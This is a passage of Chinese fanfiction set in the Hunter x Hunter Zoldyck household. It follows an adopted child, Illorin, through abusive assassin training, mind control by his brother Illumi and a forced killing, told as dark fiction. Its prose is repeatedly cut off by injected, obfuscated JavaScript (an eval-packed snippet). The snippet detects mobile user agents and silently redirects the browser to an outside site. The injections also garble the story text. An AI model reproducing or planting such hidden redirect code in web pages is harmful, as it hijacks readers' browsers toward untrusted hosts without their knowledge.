伊洛林不太明白他的意思，他太困了，在伊尔迷回来之前只能算是疲惫，在伊尔迷回来后，他自然而然的困倦了。在伊尔迷的床上，他睡得很香，软乎乎的床，还有被子，还有抱着自己的人…… 顾深深也曾经和她抵足而眠。 顾深深…… 他睡得太深，甚至没有注意到身侧兄长的眼神。 日子在一天天过去，亚路嘉总是不能够和他们一起训练，似乎是体质偏弱还是别的什么原因，他们没有明确说过，可按照奇犽的说法，他们就是想把亚路嘉关起来罢了。他绘声绘色向伊洛林描述，亚路嘉可以帮他举高高，一下一下抛得高高的！ 他说着一把将伊洛林抱起来，向天空丢上去，又接住落下来的伊洛林，反反复复十几次才停下。 “看！特别棒，对吧！” 奇犽笑起来，他们二人今天还要参与一场伊尔迷发起的躲猫猫挑战，提早聚在一起是为了商量讨论对策。 伊洛林自然而然地提出来走水路，水能隔绝气味，阻拦一半的魔兽追踪，一路上注意别留下脚印，要从不明显的石头上离开，屏住呼吸寻找暂时的藏身处。奇犽完全赞同，紧接着是藏身处必须隐蔽又方便观察四周，方便逃走。 “但是这种地方，哥哥一定也很容易猜到。” “嗯……”奇犽点点头，“那家伙真的太神出鬼没了啦！不过伊洛林，你终于愿意叫他哥哥了吗？” “啊？”伊洛林迷糊了一阵子。 他没懂什么自己愿不愿意，大概也不值一提吧，因而只是摇摇头，最重要的难道不是想好等下怎么办吗？哪怕被抓到了不是真的会死，但是太早被抓倒是真的会被吊起来抽的，你认真点好不好啊。 “说起来好奇怪，你最近话也多了，之前可是闷死了呢！” “哥哥……” “啊啊我知道啦！我会努力的！” 奇犽扑上来把伊洛林的头发揉得乱糟糟，而后才愿意和伊洛林商量后续。 伊尔迷在准时准点如约而至。他的头发留长了些许，披散在肩膀上，和伊洛林头发的长度已然差不多，身上依旧是一套宽松的运动服，似乎穿什么并不在意，于是经常被裘基念叨怎么能穿得这么随便呢，伊尔迷你应该穿更显身材一点的衣服呢！妈妈会为你准备的！ 但是伊尔迷敬谢不敏。 裘基觉得这是进入了叛逆期，虽然很过分，但是这样的伊尔迷也好帅哦。 糜稽觉得瞎扯，无稽之谈，这个家里除了亚路嘉和伊洛林，谁受得了天天穿女装啊？这根本就是正常反应。但这话他不敢对妈妈说，只能私底下和伊洛林逼逼，毕竟伊洛林的嘴巴严话少是公认的。 年底一算，今年说了五句话的那种。 伊尔迷看了看自己两个戒备中的弟弟，唇角微微一扬。 “那么，开始。” 话音未落，两个人便从原地消失了。 老规矩，他们拥有十分钟的藏匿时间，以整个枯枯戮山为范围内，随意躲藏，虽然是死火山，不过枯枯戮山的生态环境很复杂，伊尔迷一个人要找两个人，也是难上加难，不过这种事情对他而言从不是困难。 在原地的十分钟，伊尔迷思考了一点事情。 他对父亲说了伊洛林愿意叫自己哥哥的事情，似乎遗忘了曾经，他或许已经不记得自己的出生，真正将自己当作揍敌客家的人。父亲抚摸着身侧的魔兽，沉默了片刻，告诉伊尔迷，家人的真正选择排在第一行列的应该是血浓于水。 我们同宗同源，所以称之为家人，从小一起长大，又流着相同的血脉，亲族关系在我们之间密不可分。 “但是，伊洛林若在你身边长大，就会混淆这种概念。”席巴语气威严，这件事本就应该是认真的，“如果他一直是礼物，你的所有物，那么一直都会无所谓，他记不记得都是你养育宠物会有的过程之一。但你如果真的想将他当作家人……你清楚你要怎么做吧。” 我们不缺家人。 父亲的言下之意很清楚，往往外来者，才需要更加努力去融入。而伊洛林从未表现过要融入的样子，他只是突然而然地变了，你又怎么知道，他是不是为了蛰伏之后复仇呢？你得对他进行更深刻的教育才对。 “他不可以恨你。” “他必须爱你。” 真是麻烦的存在，养宠物这件事上，果真还是长大了才能考虑周全，小时候只想着可爱和想要了。 当真正的家人啊……这么想过吗，自己。 罢了，问问他自己吧。 十分钟刚好，伊尔迷也消失在了原地。 不过五分钟的时间，奇犽的哨子便被吹响了，今天好像有点快啊……他这么想着，一闪身从原地离开，闪身过了河，轻轻一点水中央的木头，整个人就飞射了出去。唉，我真是个超级赛亚人……啊等下，这个词是什么意思来着，好像很厉害？伊洛林疑惑了半秒。 伊洛林身体轻盈，在树林里狂奔，以他现在三岁多的年纪来看，根本就是令人惊愕的，但他不是很想细细去思考，熟练混进了团体行动的动物之中。 伊尔迷会来找他，一定是直线进行的，刚刚虽然出去了很远，但是一定还在附近。 伊洛林这么想着，确实听见了脚步声。 那种伊尔迷蓄意发出来的，告诉他，自己就在附近的脚步声。 他越靠近，那种恐怖的感觉就越强烈，于是心跳声会加重，这样就会被发现，于是伊洛林只能努力地让自己平静下来，可是像他这样的毛头小孩，怎么斗得过身经百战的伊尔迷，转眼就被从幼崽堆里拎了出来。 “这次做得不错。” 他夸了一句，带回去的时候奇犽还在原地生闷气，一看到伊洛林也被抓回来就大喊起来，“不行，不行！怎么能算数！”他噘着嘴，认为伊尔迷一定是作弊了，以前从来没有这么直接的，怎么能算数！ “奇犽，听哥哥说哦。”伊尔迷很耐心地蹲下来，“这可是豁出去性命的，不是吗，可是奇犽你啊，只是在一个地方躲着，这样很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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啊，又在想一些不知所云的东西了，伊洛林努力把思绪拉回来。伊尔迷抱着他走在回去的路上，周围森林繁盛，那座宅子一点一点露出来，伊尔迷的声音也被风吹得很远。 “家人之间是不能互相残杀的。” “所以如果你接受了，以后就要面对选择题吧，但我希望，你能永远选择家人。” 伊洛林抬头看他。 伊尔迷的头发轻轻晃动，稚嫩的面容初露出成熟的风范，他长大了，不是以前那个留着短发眼睛圆滚滚的小孩，他记得的，他是一个看起来没有表情，实际上却会笑的人。他总是那样冷酷，无情，做事也是直接不客气，我行我素，自我逻辑自我圆的那个人。 但他很好。 他是个好哥哥。 在那些孤苦无依的夜里，伊洛林将他依靠。换一场安睡，换一次渴求。 于是他说。 “哥，我只会选择家人。” 毕竟这个世界上，再无顾深深。 10. 10 从痛苦到麻木，也不过需要一年的时间。 疼痛重复渲染本身，神经变得坚韧，他不再因为电击而发出悲鸣，也不会因为毒药而昏厥，只是平静地接受家庭给予自己的一切，是电击也好，是鞭打也罢，是毒药也行，他都会努力去适应。 只是他依旧怕疼，鞭子抽下来的时候，整个人都会瑟缩，他的恐惧太明显，于是这一年被鞭打的时间变得更多，皮开肉绽的时候他也会想，自己存在的理由和意义，他为什么想要活下去，以及这样的日子是否看不见头。 但伊尔迷擅长于鞭子与蜜糖。 他总是会恰到好处地停下，在他崩溃之前，或者在他因为疼痛而昏厥之前就放下，他会给他带伤药，也会喂他糖果，那甜甜的味道伊洛林很少吃，毕竟喜欢甜食的是奇犽，不是他。 他的失眠依旧厉害，但好在伊尔迷是同他一间房，在伊尔迷睡在身侧时，他总能沉睡。 人不睡觉是会疯的，他依赖着伊尔迷，像被针扎进肉里，钉在树上的人，他只能抱住自己的树，渴求着安稳与平静。 而伊尔迷只是安静注视着他。 人下深渊，溺水而亡，而伊洛林的状态则像是即将溺亡的人被伊尔迷捞了上来。 伊洛林吃过饭后总是会安静擦掉唇角的血，奇犽已经能够毫无所觉地吃下，当作是调味料，可伊洛林始终并非揍敌客家的人，因而天赋并不比他，只能选择五脏六腑火烧一样难受却不表现在脸上。 伊尔迷迟钝发觉他似乎从未笑过，或者说——未对自己笑过。 伊洛林会对奇犽和亚路嘉笑，也会在抱着柯特时露出一点笑容，他似乎特别喜欢小孩啊。 小孩也喜欢他。 奇犽和亚路嘉成天开口闭口都是伊洛林，柯特才一岁也喜欢伊洛林陪他玩，训练时间以外，伊洛林就穿着裙子去裘基房间里，要么照顾柯特，要么换衣服给她看。奇犽和亚路嘉需要自己训练，他们三个不在一起才是最好的，当然，这是大人这样认为的，尤其是奇犽的资质肉眼可见是天赋奇高的类型，需要更加细心的训练。 而亚路嘉，他的身体似乎承受不起高强度的训练，家中目前正在研究，但也有进行一些阶段性的试探。 和伊洛林不算亲近是糜稽，毕竟他被带回来时，糜稽已经有一定的岁数了，他明白伊洛林根本不是自己的家人，于是态度就模棱两可，一面感谢他的到来让自己从无止尽的换装里挣脱，一面又觉得不是血脉相连的关系做不了兄弟最好只做主仆。他是没什么能对抗大哥的资本，所以目前也只是和伊洛林会偶尔说两句，前些日子被叫了一句二哥，好半天没回过神来。 伊洛林也不知道伊尔迷是不是有意的，他逐渐变得更忙碌。 早晨醒来后，吃过饭就开始自学，语言文法与数字货币，之后是人体穴位与解剖图，还有一本毒物辨别书，午饭后休息半个小时，紧接着是一小时电击训练，半小时身体柔软度训练，半个小时右手化爪训练，再去学习魔物图鉴。学习后再前往柯特的房间，照顾柯特，陪裘基换衣服和聊天，晚饭后可以稍微和奇犽亚路嘉玩一会儿，但是还要回去学习药理运用。 奇犽碎碎念着，大哥也太拔苗助长了，伊洛林觉得这大概算是某种，未卜先知般的笨鸟先飞。 他看起来虽然比一般人聪明，但实际上是有些迟钝的，未来一定会被甩在身后。他的真实是不聪明，也从不一点就通，他喜欢钻牛角尖，喜欢放弃。 说不准，伊尔迷真的是最了解他的那个人。 可他对伊尔迷有微妙的恐惧。 在那双眼睛里，黑洞洞的只有自己的影子的话，会害怕地想要转身跑掉，却因为他是伊尔迷而无法动弹，意识到他对自己的态度并非伤害而告诉自己不要跑，沉默接受着伊尔迷给予的一切，哪怕是伤痛。 可伊洛林始终无法理解伊尔迷在想什么。 而伊洛林始终后悔的是，他没有将更多的视线放在亚路嘉身上，是他每天都有好多事要做，所以没能够察觉家里的变化。 那一天在房间里结束上午的日常学习之后，听见外头发出很多声重物落地的声音，同时是短促的悲鸣与浓烈的铁锈味传来。伊洛林有些茫然，他不明所以地推开门，却看见走廊上的尸体七横八竖。血液铺满了天花板，连地毯里都浸满了红色的液体，它们黏稠的流淌，几乎洒满了世界，而人类苍白的面容与死亡恐惧遍布的眼睛在他面前一张张铺开。 伊洛林开始发抖，全身抖个不停，想要挪动脚步，却因为极度恐惧而无法迈开腿，他甚至连说话也做不到。他干呕起来，胃部痉挛着，这是人类的正常反应，因为同类的死刺激着肠胃，因为这血腥他前所未见。 世界太安静，静得仿佛像没有活人了一般。 伊洛林记得他们。 他们都是日常会在这附近巡逻的下属，会对自己问好，会对他笑，也会严格对待纪律。 他们都死了，似乎只是一瞬间的事情，连抵抗都没有。 伊洛林的视线模糊了，他狼狈擦着眼泪，不知道要做些什么时梧桐到了，他带来的新佣人快速打扫战场，而梧桐走到伊洛林的面前，单膝跪下。 “少爷。” “……发生什么事了？” “没有任何事情，请您今天不要出来。” “我、我不能知道？” “抱歉，少爷。” 心脏怦怦，乱了节拍。 伊洛林头一次违抗他们的话语，闪身消失在房间里，此刻他只有一个想法，如果自己不去，自己一定会后悔。可是明显梧桐速度却更快，他只来得及后脖颈上一疼，眼前便一片漆黑。最后一眼，是梧桐略有些不忍地眼睛，此后再也没有意识，醒来时，像尘埃落定。 门口的血迹已经清除得一干二净，地毯换了新的，连边边角角都焕然一新。 他知道，一定发生了什么很大的事情。 伊洛林往外走了两步，却看见伊尔迷出现在走廊上，他有一瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他想去看看柯特，可是柯特在裘基房间，裘基今天谁也不见，孜婆年告诉他，这一周都别来了。他想去看看奇犽，奇犽似乎病了，一直在睡觉，眼睛也很肿，伊洛林看了一会儿，静悄悄离开了。 吃饭时只有他和席巴与杰诺。 糜稽不知道做错了什么，被丢去惩罚了。 他这次没有再吐血，自己好好吃完了饭，就准备离开，却被席巴喊住了。 “爸爸？” 他这么喊的时候，席巴没什么表情，他盯着伊洛林的眼睛，一字一句告诉他。 “不论何时何地，以家族利益为第一。你要记住。” “是，爸爸。” 之前是不是也听过类似的话？伊洛林记不太清了。 他只是说： “我会好好记在心里的。” 他除了这里，还有别的地方可以去吗？ 已经没有了。 今天的大家都很奇怪，所以他，也变得怪怪的。 11. 11 第十二次，game over的字样出现在屏幕上。 糜稽抓狂至极，他不可置信地握住伊洛林的肩膀猛然摇晃：“不对吧！不对吧！为什么每次都是这样啊！” 伊洛林抿着唇不说话，有些不知所措。 自从他开始管糜稽叫二哥以后，糜稽就对他的态度好了许多，并且也真正作为弟弟来看待，他获得的最新版电脑里双人游戏很多，大哥不会陪他打，奇犽那小鬼太讨厌，某个不能提起名字的被关起来，柯特还太小……算来算去竟然就只剩下这个闷声不吭的伊洛林！ 可是不知为何，他每一次都会输给伊洛林。 他抓狂，不信邪，扭曲爬行，阴暗尖叫，充分遗传了基基裘因的尖叫声，高分贝传达进耳朵里，神经质地翻滚扑腾甚至没有任何停止的想法。伊洛林手忙脚乱，他不知道自己为什么这么擅长游戏，明明只是玩过几次而已，虽然脑海里一闪而过的记忆好像是谁喜欢游戏，不过对他而言那些碎片比梦境还虚无缥缈，于是他也不明所以。 “……二哥。”他叫着糜稽，扯了扯他的衣袖：“我们再来一次，你肯定能赢我的。” “说好了！再来一次！” 已经六岁的伊洛林无可奈何。 他努力控制着自己的角色，在对战中尽可能让自己输得不那么刻意，最后三局两胜输给了糜稽，糜稽心知肚明他让着自己，身为哥哥却还有一点点装出来的傲慢，哼哼两声给他一包薯片：“不要和大哥说我给你吃薯片哦！” 真是服了大哥那个小气鬼，就因为自己喜欢吃零食体重不受控制，就开始严格管教奇犽他们的摄入量。 还有奇犽那个家伙，居然怎么吃也吃不胖！ 糜稽愤愤往嘴里塞薯片，咔嚓咔嚓咬着，注意到伊洛林有些心不在焉的表情，撇了撇嘴：“你不会是在担心奇犽吧？那家伙强得离谱，区区天空竞技场，哥哥我当年也是很轻松地就过了，不必担心啦！” 大哥也真是的，老是跑过去偷看奇犽，伊洛林也在家里担心，怎么就没人担心他呢！ 伊洛林慢慢吞咽下嘴里的薯片，缓缓眨了眨眼睛。 “因为二哥很厉害。” 伊洛林说话总是很真诚，他这个态度很不揍敌客，不过糜稽并不讨厌。他现在喜欢和伊洛林待在一起，就是因为伊洛林从来不拿有色眼镜来区别对待他，能发现他打游戏很厉害，夸奖他喜欢的角色，甚至不觉得他买一个角色的周边有什么问题，反而会因为他有一整页的收集册而说好厉害。爸爸妈妈和爷爷大哥他们虽然从来都没有说什么非常阻拦吧，但是对自己没成为传统杀手他们的苦恼自己也是知道的！ 说真的，不如买套衣服回来给伊洛林穿，游戏里那个角色不也是黑头发的吗……糜稽如是想到。 门被轻轻推开，糜稽一侧头，就看见柯特安静站在门口。 小孩子不过才四岁，已经训练出了传统的面无表情与沉默不语，他穿着和服站在那，用一双大而黑的眼睛注视着两个人，短短的黑发衬得他像个瓷娃娃。 又来了……糜稽拿出布丁，柯特眼睛亮了亮，闪身进来。 柯特某种意义上也算是伊洛林带大的，从他出生开始伊洛林的任务就是陪着基裘换衣服，帮基裘照顾柯特，后来柯特的一些早教也是他会偶尔负责，不会进行太多，因为柯特的教育其实是完全交给了基裘。但柯特还是很黏着伊洛林，经常会因为半天没看见伊洛林就出来找一圈，而这两年伊洛林都在糜稽这里，所以三个人经常凑在一起。 伊洛林总觉得以前自己也是三个人。 自己，奇犽，还有一个……头太疼了，想不太起来，大概是哪个佣人。 他把自己吃了几片的薯片递给柯特，柯特坐在他怀里，小口小口吃起来。父母也并非不让吃，只是给的少，而伊尔迷则是不希望他们变得和糜稽一样。糜稽很受伤，很难过，狠狠地多吃了两包。 伊洛林搂着柯特，轻轻蹭着他的发顶。 柯特的声音也细细小小的：“哥哥，还是睡不着吗？” 伊洛林得了奇怪的病，总是睡不着，看了家庭医生说是精神衰弱，每次只有在伊尔迷的身边他才能睡着，所以不论多忙碌，伊尔迷总是要回家睡的。而这次奇犽被送去天空竞技场，伊尔迷不是很放心，最长时间一走就是一星期，而那一个星期伊洛林合眼的时间不足二十个小时，今天也是伊尔迷走的第三天。 伊洛林眼底有青黑，对于一个六岁小孩来说，不睡觉确实是挺辛苦的。 “没关系的。” 伊洛林慢慢闭上眼睛：“有柯特在，哥哥就已经是好好休息了……这样就足够了。” 哪怕睡不着，他也能闭目养神，他很习惯这样的日子。 虽然不知道为什么，但是也庆幸自己习惯了。 柯特耳朵微红，听见伊洛林说出和他亲近的话时，他总是忍不住在心里想，伊洛林很好，特别好。相比较于别的家人，伊洛林总是能把自己的心情说出口，喜欢也好，信赖也罢，都很直率和温柔。他喜欢伊洛林，因为伊洛林每次看他的眼神都很温柔。 性格各异的家人们里，伊洛林是不太一样的那个。 柯特暂且还不明白这个不一样是为什么，基裘也不会特地告诉他其实他们不是相同的血脉。 其实等他长大一点他就会从名字里发现端倪。 伊洛林之所以叫伊洛林，只不过是因为给宠物取名字的时候会下意识用一个主人的词添进去，他从前只是个玩意儿，不过是后来超级进化罢了，名字用着也不错，就没有改。 基裘目前对伊洛林的感情还算复杂，尤其是伊洛林有一天因为是睡在她耳边而入眠，时间竟然超过了五个小时，这让基裘的心情更加难以言喻。家庭医生说是精神方面的问题，能够让伊洛林觉得安全且放松才能让他睡一觉，基裘心知肚明这不是自己的孩子，却也没办法心肠硬到哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他习以为常，也觉得这如同吃饭喝水一样，不过是小事一件，可是每每自己被电完，除了妈妈的夸赞以外，还有伊洛林的眼神，有担忧也有心疼。 糜稽说过，他还在不会说话的年纪就要被电击的时候，伊洛林很茫然无措，很想去把他抱下来，结果挨了一顿惩罚。 这个教育是：永远不要插手妈妈教孩子。 柯特理解每个人眼神的含义，伊洛林总是纯粹的，让人感觉心里温暖的。 他耐心等着，等伊洛林睁开眼睛。 他想和伊洛林去房间里学习单词和小卡片，听他温柔又耐心地告诉自己这个词语的意思，他会很努力地告诉自己词语放在语境里的含义与用法，他会夸奖自己很厉害了。 可是他还是没能等到伊洛林的空闲时间。 因为伊尔迷回来了。 12. 12 兄弟之间有个不成文的规定。 伊洛林先属于伊尔迷，其次才属于他们。 糜稽清楚这个规定源自什么，但他缄口不言，笑话，他才不想捅娄子，伊洛林显然已经忘记了，柯特和奇犽也根本不清楚当年的事情，他说出来的话一定要被大哥和父亲一顿教育。 柯特还有些恋恋不舍，但还是一步三回头地跟着糜稽走了。 伊洛林正喘息着，他这次被电得有些过头，脑子里空空如也，什么也想不到，直到电流关闭他才缓缓回神，睁开眼睛看见好几天没回家的伊尔迷，也只是愣了片刻，就立刻回神：“大哥，你回来了，奇犽哥怎么样？” 真是三句话离不开奇犽。 不过伊尔迷自己也差不多，兄弟姐妹们自然也一样。 “有点偷懒，赖着不肯打上去，算计着要在外头玩久一些。”伊尔迷的手指摩挲着伊洛林的伤口，感受到伊洛林疼得一缩的反应，这才慢慢放下手去：“爸爸让我回来教你一些新的东西，他会过去看着奇犽，所以哥哥就回来了。” 伊洛林站起来，他往身上套衣服，穿好裙子，乖巧跟在伊尔迷的身边。 他们穿过很长的一条长廊，走进幽深的地下，伊洛林敏锐察觉到了一些阴冷与血腥气，不由自主地紧张起来。伊尔迷在前面带路，黑暗里，他的身影若隐若现，压迫感十足的长发晃动着，像是一场难以醒来的噩梦。伊洛林似乎意识到了什么，他脚下一顿，几乎是难以克制地起了一身的鸡皮疙瘩，冒着细细密密的冷汗浸透衣衫，汗水接触到伤口疼而发痒。 但他还是僵硬着步伐，走进了那间房。 他的兄长用平静的口吻，询问他是否记住了心脏的部位。 是的，他记住了。伊洛林从小看得人体解剖学，学习的人体脉络与穴位，他很清楚地记得心脏在哪里，他的手可以尖锐到撕裂人体，但是，他还没想过自己要结合这两部分。 “那么，动手吧。” 伊尔迷说。 昏暗的灯被开启，被吊起来的男人惊恐万分，他恐惧的面容扭曲着，站在他身侧的伊尔迷身姿挺拔，宛如一棵不会弯折的青松，长发垂在身侧，笼罩着一层晦暗不明阴影的脸如同鬼魅。伊洛林全身僵硬，他大脑里迟钝的机制终于开始触底反弹。 不能杀人…… 不能杀人不能杀人不能杀人不能杀人不能杀人不能杀人不能杀人不能杀人不能杀人不能杀人不能杀人不能杀人不能杀人不能杀人不能杀人不能杀人不能杀人不能杀人不能杀人不能杀人不能杀人不能杀人不能杀人不能杀人不能杀人不能杀人不能杀人…… 杀了人就回不去了……会被深深讨厌，会，再也没办法…… 好奇怪…… 不想拖后腿，是杀手家族，为什么，会不想杀人？ 好奇怪。 为什么杀人是不行的，为什么会回不去，回到哪里去？ 伊洛林的手不受控制的变成了尖锐的利爪，他的全身都在颤抖，被刻意遗忘的记忆碎片正在不断地攻击着大脑，它们在吵闹着，警报，警报，警报。 ……不行。 林洛说：绝对不行。 伊尔迷瞳孔一缩，迅速伸手，而伊洛林的指尖只差自己的脖颈些许距离，他像还在梦中，抖如筛糠。他在杀人和不杀里，竟然选择了杀掉自己？伊尔迷觉得匪夷所思，许久没有变过的表情缓慢变化，眉头皱起，下压，是明显的不悦。 “……看来是哥哥对你太好了，你才会以为哥哥是不会生气的。伊洛林。” 不，不是。 “既然如此，哥哥就真的要心狠一点了。” 不对，不是这样的。 “伊洛林，来，到哥哥这边来。” 不…… 心脏在手掌心里，是烫的，还带着热腾腾的气息，它是跳动着的，鼓动在掌心里，求饶与惨叫声都褪去了，手指缓缓收拢，压迫进血肉里，指腹清晰感受到这分明的温热与肉质，而后下一秒，狠狠捏碎在手掌心里。 伊洛林站在洗手台前，他一遍又一遍洗着手，重复着机械性的过程。 而后他开始反胃。 他趴在洗手台上呕吐，胃部痉挛着，他控制不住自己的生理反应，吐得胃酸都反上来，他没有东西可以吐，那点薯片？还是早晨的饭？他脑子空白，只能呕吐，哪怕什么也吐不出来也在吐，他要把自己的肠胃都吐出来，把自己的心脏也吐出来。 伊尔迷的手搭在他的肩膀上。 冰凉的手指挪过去，揉捏他的后脖颈，低垂的纤细脖颈像低垂的天鹅颈，他激烈反抗的身体抗拒着杀人的选择，而伊尔迷的手放在那，他就像是摁了关机键一般，失去任何多余的反应。 他是爱干净的孩子，而现如今他涕泪横流，满脸狼狈。 伊尔迷耐心而仔细，帮他洗了一把脸，又擦了擦通红的眼睛，他哄着自己脆弱的弟弟，声音像在叹息。 “伊洛林，你要听话。” “你一直都是最听话的那个孩子，对吧？” 他的掌心托起伊洛林的下巴，注视着他惨白的面色与惊魂未定的眼睛。果真不是揍敌客家的孩子，他们家没有任何一个人会因为杀人而觉得痛苦，奇犽也只是稍微有些抵抗，甩了手上的血就走掉了，可是伊洛林啊，你竟然觉得痛苦，你竟然觉得罪恶，你竟然宁愿杀了自己。 这是罪无可恕的。 不论你从前是否是揍敌客家的人，现在你都是，未来你也是，杀人应当如同吃饭喝水一般，应当成为你判断他人的标准，而并非你的道德最低线。 “仔细想清楚，伊洛林。” “柯特还需要你给他做榜样。” 眼泪大颗大颗掉在伊尔迷的手背，伊洛林浑身剧烈颤抖着，他在哭，睁着眼睛哭，表情没有改变眼泪却不停地落下来。伊尔迷沉默片刻，终究还是叹了一口气，指腹磨蹭过他温热的眼眶，擦去那些泪水，缓和了语气：“怎么还在和哥哥撒娇呢？好了，是哥哥太心急了……原谅哥哥吧。” 伊尔迷还是不懂伊洛林的眼睛，他认为这是撒娇。 他抱起伊洛林，感受到他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035555|162407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手臂缠绕在自己的脖颈上，稚嫩的孩童依靠着他唯一能够依靠的人，眼泪浸透了肩膀上的衣服。伊尔迷获得了一种微妙的满足。 啊啊…伊洛林或许只要维持现状就可以了吧？ 恐惧，怯懦，再依赖。 简直就是最棒不过的存在了。 啊，不过那样爸爸妈妈肯定会不高兴吧？还是再成长一点就好了吧。 抱着惊惧之中的伊洛林，伊尔迷心情愉悦，脚下轻快。 伊洛林被强制入睡。 席巴找伊尔迷谈过这个问题，毕竟原本伊洛林的精神状态还没有这么差，但是随着念针的植入，伊洛林的状态每况愈下，甚至严重到了没有伊尔迷就睡不着的地步。他确实是让伊尔迷看管严格一点，但是不得不说作为老父亲，席巴也觉得伊尔迷是不是做得有点过了。 伊尔迷在伊洛林脑袋里扎念针，是好心好意。 他发现伊洛林很难入睡，警惕四周，刚刚会走就这样不太好啊，于是伊尔迷就帮了他一把，让伊洛林能够立刻入睡，后面这个属于是后遗症，伊尔迷觉得没什么不好的，他也很少不在伊洛林身边。 而且伊洛林这个只要受到刺激就容易晕倒的毛病，虽然也被侧面激发了，但是由于刺激太多，反而现在不是很容易晕了，这个时候让他睡觉不就是好事？ 席巴到底没说什么。 只是睡前和基裘唠了两句，总觉得伊尔迷把自己最强烈的控制欲都挑着放在伊洛林身上了，不知道是好事还是坏事。 但是操作系，向来如此。 伊洛林在梦里挣扎着，做了一个很长的梦。 梦里有同类的躯体，倒在地上，他畏惧不已，向后退去，而死去的人类重新复活，却变成了活死人。他关上门，门口的人却用伊尔迷的声音问他，为什么不听话，是哥哥的话没那么有用了吗？伊洛林，你为什么要怕呢。 他不知道。伊洛林蜷缩在角落里，他发自内心的疑惑。 自己出身杀手世家，为何会惧怕杀人。 杀人的坏处是什么？他完全不明白。 脑海里如惊雷一般炸开，顾深深几乎抓狂地说着话，她说真服了这群人，迟早有一天把他们都杀了。而另一个和自己长得一模一样的女孩笑着说，杀人犯法啊，消消气啦。 杀人犯什么法了…… 杀人，犯法，吗。 因为顾深深讨厌，所以自己也不愿意。 但是，没办法，他没办法……伊尔迷控制着他的行为举止，他完全没办法操控自己的四肢，他只能眼睁睁看着自己挖出那人的心脏，捏碎在手掌心里。 伊洛林哭着从梦里醒来。 因为梦的最后，他看见顾深深说，我讨厌你。 什么啊，深深绝对不会讨厌自己的，明明是自己就算杀了人她也会帮着自己毁尸灭迹的才对……那个不是顾深深，是他的心魔，他生出的恐惧与畏惧。 伊洛林擦着眼泪，昏沉着大脑。 只有这一点，他绝对确信，那就是顾深深永远不会讨厌他。 13. 13 伊洛林肉眼可见在消瘦。 他吃的本就不多，现如今吃进去八分，要吐出来六分，如果只吃两分，那就还好些。 他越发的沉默寡言，连柯特与糜稽都少听他开口，伊尔迷只说他在学习新的东西，所以需要一段时间的磨合。没关系的，他们都说，没关系，毕竟是揍敌客家的孩子，很快就能够适应新东西的。 糜稽把糖放进伊洛林的手掌心里，他吞吐着询问伊洛林为什么不愿意杀人。他不笨，聪明得很，猜到伊洛林在学。 “我不知道，二哥，我不知道。” 伊洛林握着糖，他太茫然，连自己做事的原因都忘记了。 “怎么就忘了啊！”糜稽尤其不满，可伊洛林有点呆呆的，这件事大家都知道。他还记得第一次见面，伊洛林像个礼物一样被拎在手上，捧起来给基裘看，那个时候他眼角还挂着泪珠，显得可怜又可爱。于是他又心软下去，劝伊洛林早点适应：“我还等着你来打游戏呢” 伊洛林点了点头。 他一晃神就还能看见自己满手鲜血，面前腹部敞开的人还在吞吐着呼吸，五脏六腑散落一地，心脏在掌心里怦怦跳动。他听见伊尔迷夸他，真棒啊，伊洛林，学得很快呢。 于是他又吐，吐的肝肠寸断。 伊尔迷只是看着，要逼迫到精神崩溃了，就再哄一哄。 你看，临门一脚就是临门一脚，死到临头也会只差那临门一脚。正因为从前差，所以这辈子都差。 习惯是一件很可怕的东西。像伊洛林，他习惯了做一个男人，习惯了用几斤的勺子喝汤，习惯喝毒药吃毒物，习惯电击习惯鞭打，习惯被掰断手骨再重塑，所以他麻木地捏碎那颗心脏的时候，也恍惚发觉自己不再呕吐。 他只是站着，像空白的纸，涂上五颜六色， 伊尔迷站在他身后，抬起他的手也无需接触，像吊线木偶，低垂着看不见的透明丝线。“你也是我重要的弟弟，所以哥哥会将你好好地教育。”声音如同温柔的毒药，剩下致命的余毒，盘踞在心口，最后才置人于死地。伊洛林垂首，他乖巧依偎在伊尔迷怀里，缓缓闭上眼睛。 兄长是他的一切，是他的指引者。 主导他一切的神。 伊洛林开始和伊尔迷一起出任务。他作为陪衬，附带，捎带手的弟弟，没有任何价钱，只是在一旁观察他的哥哥是怎么做的，他要怎么靠近，怎么不动声色完成杀人目标，怎么撤退，怎么保留自己动手后的证明。 伊尔迷杀人具有自己的美学。 他从不喜欢弄得鲜血淋漓的，多一点痕迹就多一分没必要的烦恼，他下手干脆利落，一瞬间去决定对方命运，无声无息里死去的任务目标看起来像在沉睡，除了脑袋后的圆头钉以外什么也没有多。 他优雅而敏捷，像是一只黑色的豹子，黑夜里行走，悄无声息。 伊洛林安静待在安全的地方，纵观全局，看着兄长的杀戮像一场圆舞曲，他一个人的舞蹈，踩着生命的台阶。他注视着兄长的行动，而后铭记在心中。 